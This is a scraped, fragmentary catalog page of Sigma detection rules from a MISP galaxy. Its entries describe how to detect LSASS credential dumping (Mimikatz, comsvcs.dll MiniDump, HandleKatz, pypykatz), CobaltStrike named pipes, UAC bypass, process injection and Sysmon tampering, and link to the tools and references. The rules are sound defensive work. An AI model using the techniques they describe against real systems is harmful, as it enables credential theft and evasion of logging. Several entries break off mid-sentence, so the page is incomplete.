<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_svc_hostCredentialDumping.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_svc_hostCredentialDumping.yml</a></td>
</tr>
</tbody>
</table>

Remote LSASS Process Access Through Windows Remote Management

Detects remote access to the LSASS process via WinRM. This could be a sign of credential dumping from tools like mimikatz.

The tag is: misp-galaxy:sigma-rules="Remote LSASS Process Access Through Windows Remote Management"
• related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"


**Lsass Memory Dump via Comsvcs DLL**

Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.

The tag is: *misp-galaxy:sigma-rules="Lsass Memory Dump via Comsvcs DLL"*

**CMSTP Execution Process Access**

Detects various indicators of Microsoft Connection Manager Profile Installer execution

The tag is: *misp-galaxy:sigma-rules="CMSTP Execution Process Access"*
• related-to: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"

Table 8274. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cmstp_execution_by_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cmstp_execution_by_access.yml</a></td>
</tr>
</tbody>
</table>

HackTool - Generic Process Access

Detects process access requests from hacktool processes based on their default image name

The tag is: misp-galaxy:sigma-rules="HackTool - Generic Process Access"

View relationships graph

HackTool - Generic Process Access has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 8275. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html">https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hktl_generic_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hktl_generic_access.yml</a></td>
</tr>
</tbody>
</table>

Direct Syscall of NtOpenProcess

Detects the usage of the direct syscall of NtOpenProcess which might be done from a CobaltStrike BOF.

The tag is: misp-galaxy:sigma-rules="Direct Syscall of NtOpenProcess"

View relationships graph

Direct Syscall of NtOpenProcess has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

Table 8276. Table References

| Links |
Credential Dumping Attempt Via WerFault

Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, ProcDump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.

The tag is: `misp-galaxy:sigma-rules="Credential Dumping Attempt Via WerFault"`

View relationships graph

Credential Dumping Attempt Via WerFault has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8277. Table References

Links

- https://github.com/helpsystems/nanodump/commit/578116faea3d278d53d70ea932e2bbfe42569507
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_werfault.yml

Suspicous LSASS Access Via MalSecLogon

Detects suspicious access to LSASS handle via a call trace to "seclogon.dll" with a suspicious access right.

The tag is: `misp-galaxy:sigma-rules="Suspicous LSASS Access Via MalSecLogon"`

View relationships graph

Suspicous LSASS Access Via MalSecLogon has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8278. Table References

Links

- https://twitter.com/SBousseaden/status/1541920424635912196
Uncommon GrantedAccess Flags On LSASS

Detects process access to LSASS memory with uncommon access flags 0x410 and 0x01410

The tag is: misp-galaxy:sigma-rules="Uncommon GrantedAccess Flags On LSASS"

View relationships graph

Uncommon GrantedAccess Flags On LSASS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 8279. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment">https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_uncommon_access_flag.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_uncommon_access_flag.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Svchost Process Access

Detects suspicious access to the "svchost" process such as that used by Invoke-Phantom to kill the thread of the Windows event logging service.

The tag is: misp-galaxy:sigma-rules="Suspicious Svchost Process Access"

View relationships graph

Suspicious Svchost Process Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with
UAC Bypass Using WOW64 Logger DLL Hijack

Detects the pattern of UAC Bypass using a WoW64 logger DLL hijack (UACMe 30)

The tag is: misp-galaxy: sigma-rules="UAC Bypass Using WOW64 Logger DLL Hijack"

View relationships graph

UAC Bypass Using WOW64 Logger DLL Hijack has relationships with:


Potential Shellcode Injection

Detects potential shellcode injection used by tools such as Metasploit’s migrate and Empire’s psinject

The tag is: misp-galaxy: sigma-rules="Potential Shellcode Injection"

View relationships graph

Potential Shellcode Injection has relationships with:

**HackTool - LittleCorporal Generated Maldoc Injection**

Detects the process injection of a LittleCorporal generated Maldoc.

The tag is: `misp-galaxy:sigma-rules="HackTool - LittleCorporal Generated Maldoc Injection"`

View relationships graph

HackTool - LittleCorporal Generated Maldoc Injection has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Thread Execution Hijacking - T1055.003"` with estimative-language:likelihood-probability="almost-certain"

**Table 8283. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/connormcgarr/LittleCorporal">https://github.com/connormcgarr/LittleCorporal</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hk">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hk</a> tl_littlecorporal_generated_maldoc.yml</td>
</tr>
</tbody>
</table>

**Credential Dumping Activity Via Lsass**

Detects process access requests to the LSASS process with specific call trace calls and access masks. This behaviour is expressed by many credential dumping tools such as Mimikatz, NanoDump, Invoke-Mimikatz, Procdump and even the Taskmgr dumping feature.

The tag is: `misp-galaxy:sigma-rules="Credential Dumping Activity Via Lsass"`

View relationships graph

Credential Dumping Activity Via Lsass has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 8284. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.menasec.net/2019/02/threat-hunting-21-procdump-or-taskmgr.html">https://blog.menasec.net/2019/02/threat-hunting-21-procdump-or-taskmgr.html</a></td>
</tr>
<tr>
<td><a href="https://research.splunk.com/endpoint/windows_possible_credential_dumping/">https://research.splunk.com/endpoint/windows_possible_credential_dumping/</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1003.001/T1003.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1003.001/T1003.001.md</a></td>
</tr>
</tbody>
</table>
HackTool - CobaltStrike BOF Injection Pattern

Detects a typical pattern of a CobaltStrike BOF which inject into other processes

The tag is: `misp-galaxy:sigma-rules="HackTool - CobaltStrike BOF Injection Pattern"`

View relationships graph

HackTool - CobaltStrike BOF Injection Pattern has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8285. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/boku7/spawn">https://github.com/boku7/spawn</a></td>
</tr>
<tr>
<td><a href="https://github.com/boku7/injectAmsiBypass">https://github.com/boku7/injectAmsiBypass</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hktl_cobaltstrike_bof_injection_pattern.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hktl_cobaltstrike_bof_injection_pattern.yml</a></td>
</tr>
</tbody>
</table>

Potentially Suspicious GrantedAccess Flags On LSASS

Detects process access requests to LSASS process with potentially suspicious access flags

The tag is: `misp-galaxy:sigma-rules="Potentially Suspicious GrantedAccess Flags On LSASS"`

View relationships graph

Potentially Suspicious GrantedAccess Flags On LSASS has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8286. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Potential NT API Stub Patching

Detects potential NT API stub patching as seen used by the project PatchingAPI

The tag is: misp-galaxy:sigma-rules="Potential NT API Stub Patching"

Table 8287. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/D1rkMtr/status/1611471891193298944?s=20">https://twitter.com/D1rkMtr/status/1611471891193298944?s=20</a></td>
</tr>
<tr>
<td><a href="https://github.com/D1rkMtr/UnhookingPatch">https://github.com/D1rkMtr/UnhookingPatch</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_invoke_patchingapi.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_invoke_patchingapi.yml</a></td>
</tr>
</tbody>
</table>

LSASS Access From Potentially White-Listed Processes

Detects a possible process memory dump that uses a white-listed filename like TrolleyExpress.exe as a way to dump the LSASS process memory without Microsoft Defender interference

The tag is: misp-galaxy:sigma-rules="LSASS Access From Potentially White-Listed Processes"

Table 8288. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Credential Dumping Activity By Python Based Tool

Detects LSASS process access for potential credential dumping by a Python-like tool such as LaZagne or Pypykatz.

The tag is: `misp-galaxy:sigma-rules="Credential Dumping Activity By Python Based Tool"`

View relationships graph

Credential Dumping Activity By Python Based Tool has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8289. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/bh4b3sh/status/1303674603819081728">https://twitter.com/bh4b3sh/status/1303674603819081728</a></td>
</tr>
<tr>
<td><a href="https://github.com/skelsec/pypykatz">https://github.com/skelsec/pypykatz</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_python_based_tool.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_python_based_tool.yml</a></td>
</tr>
</tbody>
</table>

HackTool - HandleKatz Duplicating LSASS Handle

Detects HandleKatz opening LSASS to duplicate its handle to later dump the memory without opening any new handles

The tag is: `misp-galaxy:sigma-rules="HackTool - HandleKatz Duplicating LSASS Handle"`

View relationships graph

HackTool - HandleKatz Duplicating LSASS Handle has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8290. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/codewhitesec/HandleKatz">https://github.com/codewhitesec/HandleKatz</a></td>
</tr>
</tbody>
</table>
LSASS Memory Access by Tool With Dump Keyword In Name

Detects LSASS process access requests from a source process with the "dump" keyword in its image name.

The tag is: misp-galaxy:sigma-rules="LSASS Memory Access by Tool With Dump Keyword In Name"

View relationships graph

LSASS Memory Access by Tool With Dump Keyword In Name has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 8291. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/xpn/status/1491557187168178176">https://twitter.com/xpn/status/1491557187168178176</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsa">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsa</a> ss_dump_keyword_image.yml</td>
</tr>
</tbody>
</table>

Function Call From Undocumented COM Interface EditionUpgradeManager

Detects function calls from the EditionUpgradeManager COM interface. Which is an interface that is not used by standard executables.

The tag is: misp-galaxy:sigma-rules="Function Call From Undocumented COM Interface EditionUpgradeManager"

View relationships graph

Function Call From Undocumented COM Interface EditionUpgradeManager has relationships with:


Table 8292. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://gist.github.com/hfiref0x/de9c83966623236f5ebf8d9ae2407611">https://gist.github.com/hfiref0x/de9c83966623236f5ebf8d9ae2407611</a></td>
</tr>
</tbody>
</table>
HackTool - SysmonEnte Execution

Detects the use of SysmonEnte, a tool to attack the integrity of Sysmon

The tag is: misp-galaxy:sigma-rules="HackTool - SysmonEnte Execution"

View relationships graph

HackTool - SysmonEnte Execution has relationships with:


Table 8293. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/codewhitesec/SysmonEnte/blob/main/screens/1.png">https://github.com/codewhitesec/SysmonEnte/blob/main/screens/1.png</a></td>
</tr>
<tr>
<td><a href="https://github.com/codewhitesec/SysmonEnte/">https://github.com/codewhitesec/SysmonEnte/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hktl_sysmonente.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hktl_sysmonente.yml</a></td>
</tr>
</tbody>
</table>

Potential Process Hollowing Activity

Detects when a memory process image does not match the disk image, indicative of process hollowing.

The tag is: misp-galaxy:sigma-rules="Potential Process Hollowing Activity"

View relationships graph

Potential Process Hollowing Activity has relationships with:


Table 8294. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/SecurePeacock/status/1486054048390332423?s=20">https://twitter.com/SecurePeacock/status/1486054048390332423?s=20</a></td>
</tr>
</tbody>
</table>
Sysmon Blocked Executable

Triggers on any Sysmon "FileBlockExecutable" event, which indicates a violation of the configured block policy.

The tag is: `misp-galaxy:sigma-rules="Sysmon Blocked Executable"`

Table 8295. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://medium.com/@olafhartong/sysmon-14-0-fileblockexecutable-13d7ba3dff3e">https://medium.com/@olafhartong/sysmon-14-0-fileblockexecutable-13d7ba3dff3e</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_block_executable.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_block_executable.yml</a></td>
</tr>
</tbody>
</table>

Sysmon Configuration Change

Detects a Sysmon configuration change, which could be the result of a legitimate reconfiguration or someone trying manipulate the configuration.

The tag is: `misp-galaxy:sigma-rules="Sysmon Configuration Change"`

Table 8296. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon">https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification.yml</a></td>
</tr>
</tbody>
</table>

Sysmon Blocked File Shredding

Triggers on any Sysmon "FileBlockShredding" event, which indicates a violation of the configured shredding policy.

The tag is: `misp-galaxy:sigma-rules="Sysmon Blocked File Shredding"`

Table 8297. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_block_shredding.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_block_shredding.yml</a></td>
</tr>
</tbody>
</table>
Sysmon Configuration Error

Detects when an adversary is trying to hide its action from Sysmon logging based on error messages

The tag is: `misp-galaxy:sigma-rules="Sysmon Configuration Error"`

View relationships graph

Sysmon Configuration Error has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564"` with estimative-language:likelihood-probability="almost-certain"

Table 8298. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md</a></td>
</tr>
<tr>
<td><a href="https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html">https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_error.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_error.yml</a></td>
</tr>
</tbody>
</table>

Sysmon Configuration Modification

Detects when an attacker tries to hide from Sysmon by disabling or stopping it

The tag is: `misp-galaxy:sigma-rules="Sysmon Configuration Modification"`

View relationships graph

Sysmon Configuration Modification has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564"` with estimative-language:likelihood-probability="almost-certain"

Table 8299. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md</a></td>
</tr>
<tr>
<td><a href="https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html">https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_status.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_status.yml</a></td>
</tr>
</tbody>
</table>
Sysmon File Executable Creation Detected

Triggers on any Sysmon "FileExecutableDetected" event, which triggers every time a PE that is monitored by the config is created.

The tag is: misp-galaxy:sigma-rules="Sysmon File Executable Creation Detected"

Table 8300. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_executable_detected.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_executable_detected.yml</a></td>
</tr>
</tbody>
</table>

CobaltStrike Named Pipe

Detects the creation of a named pipe as used by CobaltStrike

The tag is: misp-galaxy:sigma-rules="CobaltStrike Named Pipe"

View relationships graph

CobaltStrike Named Pipe has relationships with:


Table 8301. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/253">https://github.com/SigmaHQ/sigma/issues/253</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/d4rksystem/status/1357010969264873472">https://twitter.com/d4rksystem/status/1357010969264873472</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_cobaltstrike.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_cobaltstrike.yml</a></td>
</tr>
</tbody>
</table>

HackTool - DiagTrackEoP Default Named Pipe

Detects creation of default named pipe used by the DiagTrackEoP POC, a tool that abuses "SeImpersonate" privilege.

The tag is: misp-galaxy:sigma-rules="HackTool - DiagTrackEoP Default Named Pipe"
**HackTool - EfsPotato Named Pipe Creation**

Detects the pattern of a pipe name as used by the hack tool EfsPotato

The tag is: `misp-galaxy:sigma-rules="HackTool - EfsPotato Named Pipe Creation"`

*View relationships graph*

HackTool - EfsPotato Named Pipe Creation has relationships with:


**PAExec Default Named Pipe**

Detects PAExec default named pipe

The tag is: `misp-galaxy:sigma-rules="PAExec Default Named Pipe"`

*View relationships graph*

PAExec Default Named Pipe has relationships with:

**PowerShell Execution Via Named Pipe**

Detects execution of PowerShell via creation of named pipe starting with PSHost

The tag is: *misp-galaxy: sigma-rules=*"PowerShell Execution Via Named Pipe"*

**View relationships graph**

PowerShell Execution Via Named Pipe has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern=*"PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

**Table 8305. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_powershell_execution_pipe.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_powershell_execution_pipe.yml</a></td>
</tr>
</tbody>
</table>

**RemCom Default Named Pipe**

Detects default RemCom pipe creation

The tag is: *misp-galaxy: sigma-rules=*"RemCom Default Named Pipe"*

**View relationships graph**

RemCom Default Named Pipe has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern=*"Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

**Table 8306. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kavika13/RemCom">https://github.com/kavika13/RemCom</a></td>
</tr>
<tr>
<td><a href="https://drive.google.com/file/d/1lKya3_mLnR3UQuColYruO3qgu052_iS_/view">https://drive.google.com/file/d/1lKya3_mLnR3UQuColYruO3qgu052_iS_/view</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_remcom_default_pipe.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_remcom_default_pipe.yml</a></td>
</tr>
</tbody>
</table>
### Alternate PowerShell Hosts Pipe

Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe

The tag is: `misp-galaxy:sigma-rules="Alternate PowerShell Hosts Pipe"`

**View relationships graph**

Alternate PowerShell Hosts Pipe has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 8307. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_powershell_alternate_host_pipe.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_powershell_alternate_host_pipe.yml</a></td>
</tr>
</tbody>
</table>

### Malicious Named Pipe Created

Detects the creation of a named pipe seen used by known APTs or malware.

The tag is: `misp-galaxy:sigma-rules="Malicious Named Pipe Created"`

**View relationships graph**

Malicious Named Pipe Created has relationships with:


**Table 8308. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-117A">https://www.us-cert.gov/ncas/alerts/TA17-117A</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2020/06/21/snatch-ransomware/">https://thedfirreport.com/2020/06/21/snatch-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/faq-the-projectsauron-apt/75533/">https://securelist.com/faq-the-projectsauron-apt/75533/</a></td>
</tr>
<tr>
<td><a href="https://github.com/RiccardoAncarani/LiquidSnake">https://github.com/RiccardoAncarani/LiquidSnake</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar19-304a">https://us-cert.cisa.gov/ncas/analysis-reports/ar19-304a</a></td>
</tr>
</tbody>
</table>
CobaltStrike Named Pipe Patterns

Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles

The tag is: `misp-galaxy:sigma-rules="CobaltStrike Named Pipe Patterns"`

View relationships graph

CobaltStrike Named Pipe Patterns has relationships with:


Table 8309. Table References

Links

- https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752
- https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_cobaltstrike_susp_pipe_patterns.yml

HackTool - Credential Dumping Tools Named Pipe Created

Detects well-known credential dumping tools execution via specific named pipe creation

The tag is: `misp-galaxy:sigma-rules="HackTool - Credential Dumping Tools Named Pipe Created"`

View relationships graph

HackTool - Credential Dumping Tools Named Pipe Created has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-
CSExec Default Named Pipe

Detects default CSExec pipe creation

The tag is: misp-galaxy:sigma-rules="CSExec Default Named Pipe"

CSE Exec Default Named Pipe has relationships with:


HackTool - Koh Default Named Pipe

Detects creation of default named pipes used by the Koh tool

The tag is: misp-galaxy:sigma-rules="HackTool - Koh Default Named Pipe"
HackTool - Koh Default Named Pipe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"

**ADFS Database Named Pipe Connection**

Detects suspicious local connections via a named pipe to the AD FS configuration database (Windows Internal Database). Used to access information such as the AD FS configuration settings which contains sensitive information used to sign SAML tokens.

The tag is: *misp-galaxy:sigma-rules="ADFS Database Named Pipe Connection"

**WMI Event Consumer Created Named Pipe**

Detects the WMI Event Consumer service scrcons.exe creating a named pipe
The tag is: *misp-galaxy:sigma-rules*="WMI Event Consumer Created Named Pipe"

**View relationships graph**

WMI Event Consumer Created Named Pipe has relationships with:


*Table 8314. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/RiccardoAncarani/LiquidSnake">https://github.com/RiccardoAncarani/LiquidSnake</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_scrcons_wmi_consumer_namedpipe.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_scrcons_wmi_consumer_namedpipe.yml</a></td>
</tr>
</tbody>
</table>

**CobaltStrike Named Pipe Pattern Regex**

Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles

The tag is: *misp-galaxy:sigma-rules*="CobaltStrike Named Pipe Pattern Regex"

**View relationships graph**

CobaltStrike Named Pipe Pattern Regex has relationships with:


*Table 8315. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752">https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752</a></td>
</tr>
<tr>
<td><a href="https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575">https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_cobaltstrike_re.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_cobaltstrike_re.yml</a></td>
</tr>
</tbody>
</table>

**HackTool - CoercedPotato Named Pipe Creation**

Detects the pattern of a pipe name as used by the hack tool CoercedPotato

The tag is: *misp-galaxy:sigma-rules*="HackTool - CoercedPotato Named Pipe Creation"

**View relationships graph**

HackTool - CoercedPotato Named Pipe Creation has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Process Injection - T1055" with estimative-
PsExec Tool Execution From Suspicious Locations - PipeName

Detects PsExec default pipe creation where the image executed is located in a suspicious location. Which could indicate that the tool is being used in an attack.

The tag is: `misp-galaxy:sigma-rules="PsExec Tool Execution From Suspicious Locations - PipeName"`

View relationships graph

PsExec Tool Execution From Suspicious Locations - PipeName has relationships with:


Mimikatz Use

